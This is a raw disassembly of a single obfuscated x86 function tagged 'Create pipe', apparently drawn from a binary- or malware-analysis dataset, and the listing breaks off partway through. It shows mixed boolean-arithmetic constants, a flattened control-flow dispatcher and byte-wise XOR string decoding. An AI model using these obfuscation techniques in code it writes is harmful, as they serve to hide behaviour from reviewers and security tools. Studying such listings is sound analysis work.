Function at 0x100b0b70
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xb8
mov eax, dword [0x101d4208]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x101d29cc]
mov edx, dword [0x101d29d0]
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfe5ba2b9
or eax, edx
or ecx, 0xfe5ba2b9
xor eax, 0xffffffff
and eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x9bea7d7b
mov edx, 0xffffffff
xor edx, 0x9bea7d7b
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x7c9ff352
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7c9ff352
or eax, 0x7c9ff352
imul eax, edx
add eax, ecx
mov ecx, 0xb4acacf7
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xc1a44ebf
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc1a44ebf
or eax, 0xc1a44ebf
imul eax, edx
add eax, ecx
add eax, 0x3f97e2df
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0x9f1acda0
mov esi, 0xffffffff
xor esi, 0x9f1acda0
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9f1acda0
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xd437ffd6
or edx, 0xd437ffd6
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0xd437ffd6
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x8389386e
xor eax, 0x32e7c6a2
mov ecx, 0xffffffff
xor ecx, 0xa7a18690
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0xb5be37d1
and eax, 0xb5be37d1
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x24], eax
mov esi, 0xffffffff
xor esi, 0xfedbfc08
mov edx, 0xffffffff
xor edx, 0x5074756f
and eax, 0x5074756f
and ecx, edx
mov edi, esi
and edi, 0x5074756f
mov ebx, edx
and ebx, 0xfedbfc08
or eax, ecx
mov ecx, dword [ebp - 0x24]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5074756f
and ecx, edx
or eax, ecx
imul eax, eax, 0xd42307b2
add eax, 0x9adc935d
add eax, 0x167ea0da
and eax, 0x8a1be731
mov ecx, eax
and ecx, 0x96cbdd3c
xor ecx, 0xffffffff
and eax, 0x96cbdd3c
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1857f6bc
or eax, edx
mov edx, 0xffffffff
xor edx, 0x1857f6bc
mov esi, 0xffffffff
xor esi, 0x1857f6bc
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x5cc1c7bc
mov ecx, 0xffffffff
xor ecx, 0xc9b3b952
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
sub eax, 0xb712a818
sub eax, 0xbdb546a9
sub eax, 0xa05f2d5d
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3e720497
mov edx, 0xffffffff
xor edx, 0x3e720497
and eax, edx
or ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xad3a97af
mov esi, 0xffffffff
xor esi, 0xad3a97af
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0xad3a97af
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x934dee3f
mov edx, 0xffffffff
xor edx, 0x934dee3f
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0xad232fe6
or eax, 0x85234fae
mov edx, eax
xor edx, 0xffffffff
and edx, 0x76d3f667
mov esi, 0xffffffff
xor esi, 0x76d3f667
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x76d3f667
or eax, 0x76d3f667
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x9b9446b1
add eax, ecx
sub eax, 0x8dc7796
add eax, 0x502d2d01
add eax, 0x8dc7796
xor eax, 0xc5c73afd
mov ecx, eax
xor ecx, 0x93cd5ffe
mov edx, 0xffffffff
xor edx, 0x93cd5ffe
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xa333c2ff
xor edx, edx
div ecx
sub eax, 0x8474a594
add eax, 0x30e21333
add eax, 0x8474a594
sub eax, 0x6db0be09
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0xffffffff
xor eax, 0x93d4b74b
mov edx, 0xffffffff
xor edx, 0x93d4b74b
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
and eax, 0x18a51380
xor ecx, 0x18a51380
or eax, ecx
mov ecx, 0xabf6f1ad
xor edx, edx
div ecx
sub eax, 0x5a5e00a1
add eax, 0x508dc538
add eax, 0xac5c8e00
sub eax, 0x508dc538
mov ecx, 0xe2905409
xor edx, edx
div ecx
mov ecx, 0x54bac13c
xor edx, edx
div ecx
mov ecx, 0xfffce7fb
xor edx, edx
div ecx
sub eax, 0x8ba580ce
sub eax, 0x2e5c2e83
add eax, 0x8ba580ce
mov ecx, 0x22bc20
xor edx, edx
div ecx
and eax, 0xeb94bfd5
mov ecx, 0xd1cfc042
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x18fc86e7
or edx, 0x18fc86e7
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x18fc86e7
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xb3caad8e
mov edx, eax
xor edx, 0xffffffff
and edx, 0x70689258
mov esi, 0xffffffff
xor esi, 0x70689258
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x70689258
or eax, 0x70689258
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xce359590
mov ecx, 0xffffffff
xor ecx, 0xc08952b0
or eax, edx
or ecx, 0xc08952b0
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x96d1dd7e
xor edx, edx
div ecx
add eax, 0xbc4b2b50
or eax, 0xc12a997a
add eax, 0x594e6ecb
mov ecx, eax
and ecx, 0xe0fac300
xor ecx, 0xffffffff
add eax, 0xe0fac300
add eax, 1
add eax, ecx
imul eax, eax, 0x1971b5e9
sub eax, 0xdd4dcdeb
mov dword [ebp - 0x14], 0x805f3960
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
add eax, 0x5f7c1737
sub eax, 0xb8ffb112
sub eax, 0x5f7c1737
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
sub eax, 0x805f3960
je 0x100b14b4
jmp 0x100b1061
mov eax, dword [ebp - 0x28]
sub eax, 0x84f2215e
je 0x100b7784
jmp 0x100b1074
mov eax, dword [ebp - 0x28]
sub eax, 0x8a27d0ab
je 0x100b7394
jmp 0x100b1087
mov eax, dword [ebp - 0x28]
sub eax, 0x97028f35
je 0x100b29b7
jmp 0x100b109a
mov eax, dword [ebp - 0x28]
sub eax, 0x9ad5a410
je 0x100b359f
jmp 0x100b10ad
mov eax, dword [ebp - 0x28]
sub eax, 0x9caa06d5
je 0x100b57a9
jmp 0x100b10c0
mov eax, dword [ebp - 0x28]
sub eax, 0xa1c6b544
je 0x100b7eca
jmp 0x100b10d3
mov eax, dword [ebp - 0x28]
sub eax, 0xa298b39d
je 0x100b4e70
jmp 0x100b10e6
mov eax, dword [ebp - 0x28]
sub eax, 0xa584ec47
je 0x100b46d2
jmp 0x100b10f9
mov eax, dword [ebp - 0x28]
sub eax, 0xaa1f1550
je 0x100b3196
jmp 0x100b110c
mov eax, dword [ebp - 0x28]
sub eax, 0xb1ce3a67
je 0x100b6977
jmp 0x100b111f
mov eax, dword [ebp - 0x28]
sub eax, 0xb52dc89d
je 0x100b31a4
jmp 0x100b1132
mov eax, dword [ebp - 0x28]
sub eax, 0xb946a532
je 0x100b29c5
jmp 0x100b1145
mov eax, dword [ebp - 0x28]
sub eax, 0xbe37935a
je 0x100b656d
jmp 0x100b1158
mov eax, dword [ebp - 0x28]
sub eax, 0xbfb962d3
je 0x100b818c
jmp 0x100b116b
mov eax, dword [ebp - 0x28]
sub eax, 0xbff233de
je 0x100b3531
jmp 0x100b117e
mov eax, dword [ebp - 0x28]
sub eax, 0xc72d9b34
je 0x100b60b7
jmp 0x100b1191
mov eax, dword [ebp - 0x28]
sub eax, 0xc8b62eb1
je 0x100b7be6
jmp 0x100b11a4
mov eax, dword [ebp - 0x28]
sub eax, 0xc8f57875
je 0x100b2236
jmp 0x100b11b7
mov eax, dword [ebp - 0x28]
sub eax, 0xd0521d68
je 0x100b80fe
jmp 0x100b11ca
mov eax, dword [ebp - 0x28]
sub eax, 0xd2613130
je 0x100b5c0f
jmp 0x100b11dd
mov eax, dword [ebp - 0x28]
sub eax, 0xd9be61f7
je 0x100b1d6b
jmp 0x100b11f0
mov eax, dword [ebp - 0x28]
sub eax, 0xdb901494
je 0x100b8020
jmp 0x100b1203
mov eax, dword [ebp - 0x28]
sub eax, 0xde7d34e7
je 0x100b7bd2
jmp 0x100b1216
mov eax, dword [ebp - 0x28]
sub eax, 0xe6677957
je 0x100b18ef
jmp 0x100b1229
mov eax, dword [ebp - 0x28]
sub eax, 0xec513dc7
je 0x100b60c5
jmp 0x100b123c
mov eax, dword [ebp - 0x28]
sub eax, 0xf4f85ea9
je 0x100b4adb
jmp 0x100b124f
mov eax, dword [ebp - 0x28]
sub eax, 0xf74b2143
je 0x100b52b3
jmp 0x100b1262
mov eax, dword [ebp - 0x28]
sub eax, 0xf8bac10e
je 0x100b8060
jmp 0x100b1275
mov eax, dword [ebp - 0x28]
sub eax, 0x11e188d6
je 0x100b1527
jmp 0x100b1288
mov eax, dword [ebp - 0x28]
sub eax, 0x14a0b4c6
je 0x100b7c7a
jmp 0x100b129b
mov eax, dword [ebp - 0x28]
sub eax, 0x224c0618
je 0x100b579b
jmp 0x100b12ae
mov eax, dword [ebp - 0x28]
sub eax, 0x244c9295
je 0x100b810c
jmp 0x100b12c1
mov eax, dword [ebp - 0x28]
sub eax, 0x24577b43
je 0x100b1d79
jmp 0x100b12d4
mov eax, dword [ebp - 0x28]
sub eax, 0x2505eb7b
je 0x100b3da3
jmp 0x100b12e7
mov eax, dword [ebp - 0x28]
sub eax, 0x2c32ce22
je 0x100b6932
jmp 0x100b12fa
mov eax, dword [ebp - 0x28]
sub eax, 0x2f1f3a59
je 0x100b7ba1
jmp 0x100b130d
mov eax, dword [ebp - 0x28]
sub eax, 0x315d3f73
je 0x100b80f0
jmp 0x100b1320
mov eax, dword [ebp - 0x28]
sub eax, 0x32747df1
je 0x100b7386
jmp 0x100b1333
mov eax, dword [ebp - 0x28]
sub eax, 0x374c8955
je 0x100b2cee
jmp 0x100b1346
mov eax, dword [ebp - 0x28]
sub eax, 0x3930a756
je 0x100b14ff
jmp 0x100b1359
mov eax, dword [ebp - 0x28]
sub eax, 0x3ef1ad6c
je 0x100b4135
jmp 0x100b136c
mov eax, dword [ebp - 0x28]
sub eax, 0x45d1a3de
je 0x100b7b93
jmp 0x100b137f
mov eax, dword [ebp - 0x28]
sub eax, 0x47176a46
je 0x100b35ad
jmp 0x100b1392
mov eax, dword [ebp - 0x28]
sub eax, 0x48dd6773
je 0x100b150d
jmp 0x100b13a5
mov eax, dword [ebp - 0x28]
sub eax, 0x4a235e47
je 0x100b46bb
jmp 0x100b13b8
mov eax, dword [ebp - 0x28]
sub eax, 0x4d2c6c6f
je 0x100b14d4
jmp 0x100b13cb
mov eax, dword [ebp - 0x28]
sub eax, 0x59e3af22
je 0x100b6eb2
jmp 0x100b13de
mov eax, dword [ebp - 0x28]
sub eax, 0x5bda3b69
je 0x100b3d95
jmp 0x100b13f1
mov eax, dword [ebp - 0x28]
sub eax, 0x5d08541c
je 0x100b4e7e
jmp 0x100b1404
mov eax, dword [ebp - 0x28]
sub eax, 0x61068f53
je 0x100b469e
jmp 0x100b1417
mov eax, dword [ebp - 0x28]
sub eax, 0x6a3a1d18
je 0x100b6969
jmp 0x100b142a
mov eax, dword [ebp - 0x28]
sub eax, 0x6bb399d0
je 0x100b7bba
jmp 0x100b143d
mov eax, dword [ebp - 0x28]
sub eax, 0x6c3c744e
je 0x100b6952
jmp 0x100b1450
mov eax, dword [ebp - 0x28]
sub eax, 0x708fb414
je 0x100b819a
jmp 0x100b1463
mov eax, dword [ebp - 0x28]
sub eax, 0x728e7086
je 0x100b80da
jmp 0x100b1476
mov eax, dword [ebp - 0x28]
sub eax, 0x757d3a29
je 0x100b38f8
jmp 0x100b1489
mov eax, dword [ebp - 0x28]
sub eax, 0x7a30e0bf
je 0x100b81b1
jmp 0x100b149c
mov eax, dword [ebp - 0x28]
sub eax, 0x7ec76c0e
je 0x100b1544
jmp 0x100b14af
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, 0x4d2c6c6f
mov edx, 0xde7d34e7
cmp esi, 0xe216a949
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov esi, 0xec51789f
mov ecx, dword [0x101d4d50]
mov dword [ebp - 0x2c], ecx
mov ecx, 0x4d2c6c6f
mov edx, 0x3930a756
cmp esi, 0x2de304b9
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x48dd6773
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0
sete cl
mov byte [ebp - 0x2d], cl
mov dword [eax], 0x11e188d6
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x2d]
mov ecx, 0xb52dc89d
mov edx, 0x7ec76c0e
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [str._vOr8T]
mov ecx, dword [0x101d29e0]
add eax, 0xc0e57368
sub eax, ecx
sub eax, 0xc0e57368
add eax, 0x60fabca5
mov ecx, eax
xor ecx, 0x97f4bff6
mov edx, 0xffffffff
xor edx, 0x97f4bff6
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x23985d32
xor edx, edx
div ecx
sub eax, 0xcf2db0d1
or eax, 0x3063b7d3
and eax, 0x44ae4768
imul eax, eax, 0xd2d5cad5
and eax, 0x963fa0e7
mov esi, 0xffffffff
xor esi, 0x8f4e68ce
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8f4e68ce
or eax, 0x8f4e68ce
imul eax, edx
add eax, ecx
sub eax, 0x63afc6d8
or eax, 0x2649c43a
sub eax, 0x3775cd4c
mov ecx, 0x1224c2fe
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x706cda12
sub ecx, 0x1594e1a9
and ecx, 0x264dd900
mov eax, 0xffffffff
xor eax, 0xd54fdacf
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
xor ecx, 0xa4eb8bb1
xor ecx, 0x829cfe41
xor ecx, 0xe2b7a341
mov eax, ecx
and eax, 0xec38b219
xor ecx, 0xec38b219
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1e762bda
mov esi, 0xffffffff
xor esi, 0x1e762bda
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1e762bda
or eax, 0x1e762bda
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xb5751e73
shl ecx, 1
add eax, 0xb5751e73
sub eax, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0x71c805b6
mov ecx, 0xffffffff
xor ecx, 0x71c805b6
and eax, ecx
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xef0cfe6c
mov edx, 0xffffffff
xor edx, 0xef0cfe6c
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x3202a984
and ecx, 0xef0cfe6c
and edx, 0x3202a984
or eax, esi
or ecx, edx
xor eax, ecx
xor ecx, ecx
sub ecx, 0x2311c565
sub eax, ecx
add eax, 0x57980982
mov edx, eax
xor edx, 0xffffffff
and edx, 0xedfb17c2
mov esi, 0xffffffff
xor esi, 0xedfb17c2
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xedfb17c2
or eax, 0xedfb17c2
imul eax, edx
add eax, ecx
imul eax, eax, 0x8d4031e0
sub eax, 0x59c9793f
mov ecx, 0xffffffff
xor ecx, 0x45acdc4c
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
sub eax, 0x5fa90769
sub eax, 0x9a3803a
mov ecx, 0x251719ec
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xe214f4f7
xor ecx, 0xffffffff
add eax, 0xe214f4f7
add eax, 1
add eax, ecx
and eax, 0x7ed4f0be
add eax, 0x1851b732
sub eax, 0x98900f9d
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xefba9f4f
mov edx, 0xffffffff
xor edx, 0xefba9f4f
and eax, edx
sub eax, ecx
xor eax, 0xb0a7d886
mov ecx, 0xf17f1ecf
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xf1b530ab
and ecx, 0xf548dfae
or ecx, 0x79884e4d
mov esi, 0xffffffff
xor esi, 0x2067d763
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x2067d763
or ecx, 0x2067d763
imul ecx, edx
add ecx, eax
and ecx, 0xf5a67475
add ecx, 0x8146b811
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov esi, 0xffffffff
xor esi, 0x9e783947
mov edx, 0xffffffff
xor edx, 0xd5118159
and eax, 0xd5118159
and ecx, edx
mov edi, esi
and edi, 0xd5118159
mov ebx, edx
and ebx, 0x9e783947
or eax, ecx
mov ecx, dword [ebp - 0x34]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xd5118159
and ecx, edx
or eax, ecx
xor eax, 0xd51a98d2
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xf2878652
or ecx, 0xf2878652
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x347a1bf0
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2814fc6e
mov esi, 0xffffffff
xor esi, 0x2814fc6e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2814fc6e
or eax, 0x2814fc6e
imul eax, edx
add eax, ecx
imul ecx, eax, 0x8777ae17
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x3583ff8d
xor eax, 0xffffffff
mov edx, 0x3583ff8d
and edx, 0x3583ff8d
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x83b6090f
mov ecx, 0xbc29bba6
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
or ecx, 0x1d1c5ed5
mov edx, 0xffffffff
xor edx, 0x2ced031
add ecx, edx
add ecx, 1
mov esi, ecx
and esi, 0x388c8692
xor ecx, 0x388c8692
or esi, ecx
xor esi, 0x189607d0
mov ecx, 0xe6677957
mov edx, 0xc8b62eb1
cmp esi, 0x4f02cab6
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d29e4]
xor eax, dword [0x101d29e8]
mov ecx, 0x26f65837
xor edx, edx
div ecx
and eax, 0x911d3436
mov ecx, 0x84be0d2b
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x3a070ff3
xor ecx, 0xb3a8b422
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xcab56557
mov edx, 0xffffffff
xor edx, 0xcab56557
and ecx, edx
or eax, ecx
and eax, 0x76a69e73
mov ecx, 0xe3279deb
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x3c], eax
mov esi, 0xffffffff
xor esi, 0x33fb619d
mov edx, 0xffffffff
xor edx, 0xedb3db44
and eax, 0xedb3db44
and ecx, edx
mov edi, esi
and edi, 0xedb3db44
mov ebx, edx
and ebx, 0x33fb619d
or eax, ecx
mov ecx, dword [ebp - 0x3c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xedb3db44
and ecx, edx
or eax, ecx
mov ecx, 0xd54c35ff
xor edx, edx
div ecx
mov esi, eax
and esi, 0x5816437a
xor eax, 0x5816437a
or esi, eax
or esi, 0xe9bad25c
mov eax, esi
and eax, 0xdf722f74
xor eax, 0xffffffff
add esi, 0xdf722f74
add esi, 1
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x2f8f78a1
mov edx, 0xffffffff
xor edx, 0x2f8f78a1
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xcdcaaaa5
and ecx, 0x2f8f78a1
and edx, 0xcdcaaaa5
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
and ecx, 0x5bdddef6
shl ecx, 1
add eax, 0x5bdddef6
sub eax, ecx
add eax, 0x6b559154
mov edx, eax
xor edx, 0xffffffff
and edx, 0x479e3c56
mov esi, 0xffffffff
xor esi, 0x479e3c56
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x479e3c56
or eax, 0x479e3c56
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd4c321ce
mov ecx, 0xffffffff
xor ecx, 0x728a5b10
or eax, edx
or ecx, 0x728a5b10
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0x1d54ed60
xor ecx, 0xffffffff
and ecx, 0x1d54ed60
shl ecx, 1
sub ecx, 0x1d54ed60
sub eax, ecx
mov ecx, 0x2a58b88
xor edx, edx
div ecx
add eax, 0xc691e390
add eax, 0x65a33479
imul eax, eax, 0xec956a33
mov ecx, eax
xor ecx, 0x5a62bb99
mov edx, 0xffffffff
xor edx, 0x5a62bb99
and eax, edx
shl eax, 1
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x4fcafaac
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x4fcafaac
add eax, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5f953364
mov esi, 0xffffffff
xor esi, 0x5f953364
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x5f953364
or eax, 0x5f953364
imul eax, edx
add eax, ecx
or eax, 0xd050f0af
and eax, 0x4c28868a
or eax, 0xf4c8ea4b
add eax, 0x4ca9279f
sub eax, 0x37f5bf72
sub eax, 0x4ca9279f
mov ecx, 0xffffffff
xor ecx, 0x43436268
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0xe5375a92
add eax, 0x38c017e6
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x4b5cbd27
mov edx, 0xffffffff
xor edx, 0x4b5cbd27
and eax, edx
or ecx, eax
or ecx, 0x6f80f73d
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x832e3e0b
or eax, edx
mov edx, 0x832e3e0b
and edx, 0x832e3e0b
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xb39f3245
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x817e7325
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xd934ad30
sub eax, ecx
imul eax, eax, 0xec3be1b3
mov ecx, 0xc5dc7ae4
xor edx, edx
div ecx
imul ecx, eax, 0x23acaf73
sub ecx, 0xceda8d
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov esi, 0xffffffff
xor esi, 0x3f1d7208
mov edx, 0xffffffff
xor edx, 0x6b84b1aa
and eax, 0x6b84b1aa
and ecx, edx
mov edi, esi
and edi, 0x6b84b1aa
mov ebx, edx
and ebx, 0x3f1d7208
or eax, ecx
mov ecx, dword [ebp - 0x38]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x6b84b1aa
and ecx, edx
or eax, ecx
and eax, 0xcaae1b49
mov ecx, 0x36b6e724
xor edx, edx
div ecx
xor eax, 0xbdf04349
mov ecx, 0xce56c845
xor edx, edx
div ecx
imul ecx, eax, 0x873572df
mov eax, 0xffffffff
xor eax, 0x65b2c612
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
sub ecx, 0x7dfe2e65
or ecx, 0x173df67c
sub ecx, 0x7e71152
mov eax, ecx
and eax, 0x8700228d
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8700228d
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, 0x491868e4
sub eax, ecx
or eax, 0x3387924a
imul eax, eax, 0x4d0a7874
mov ecx, 0xcb02b274
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x2dd9541
mov esi, ecx
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
mov ecx, 0xffffffff
xor ecx, 0xdbe601e0
mov edx, 0xffffffff
xor edx, 0xdbe601e0
or ecx, edx
and esi, ecx
xor esi, 0xffffffff
mov cl, byte [0x101d11f0]
xor cl, 0x3a
mov byte [0x101d1210], cl
mov cl, byte [0x101d11f1]
mov dl, cl
and dl, 0xd9
shl dl, 1
add cl, 0xd9
sub cl, dl
mov byte [0x101d1211], cl
mov dl, byte [0x101d11f2]
mov cl, dl
xor cl, 0xff
and cl, 0x10
mov ch, 0xff
xor ch, 0x10
and dl, ch
or cl, dl
mov byte [0x101d1212], cl
mov cl, byte [0x101d11f3]
xor cl, 0xf3
mov byte [0x101d1213], cl
mov dh, byte [0x101d11f4]
mov cl, dh
xor cl, 0xff
and cl, 0x30
mov ch, 0xff
xor ch, 0x30
and dh, ch
mov dl, 0xff
xor dl, 0x8d
and dl, 0x30
and ch, 0x8d
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d1215], cl
mov ecx, 0xd9be61f7
mov edx, 0xc8b62eb1
cmp esi, 0xbd70e314
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x24577b43
jmp 0x100b81ba
mov eax, dword [0x101d29ec]
imul eax, dword [0x101d29f0]
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4a3f7a41
mov esi, 0xffffffff
xor esi, 0x4a3f7a41
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x4a3f7a41
or eax, 0x4a3f7a41
imul eax, edx
add eax, ecx
mov ecx, 0x7d2322c6
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xe1c8d843
and ecx, 0xe1c8d843
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0xc93efeb4
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x24a8059f
mov edx, 0xffffffff
xor edx, 0x24a8059f
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x459a6775
and ecx, 0x24a8059f
and edx, 0x459a6775
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc4880961
mov ecx, 0xffffffff
xor ecx, 0xe98f7aa4
or eax, edx
or ecx, 0xe98f7aa4
xor eax, 0xffffffff
and eax, ecx
add eax, 0x1146ea61
mov ecx, 0x59bc33f3
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9716a98b
or eax, edx
and ecx, 0x9716a98b
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
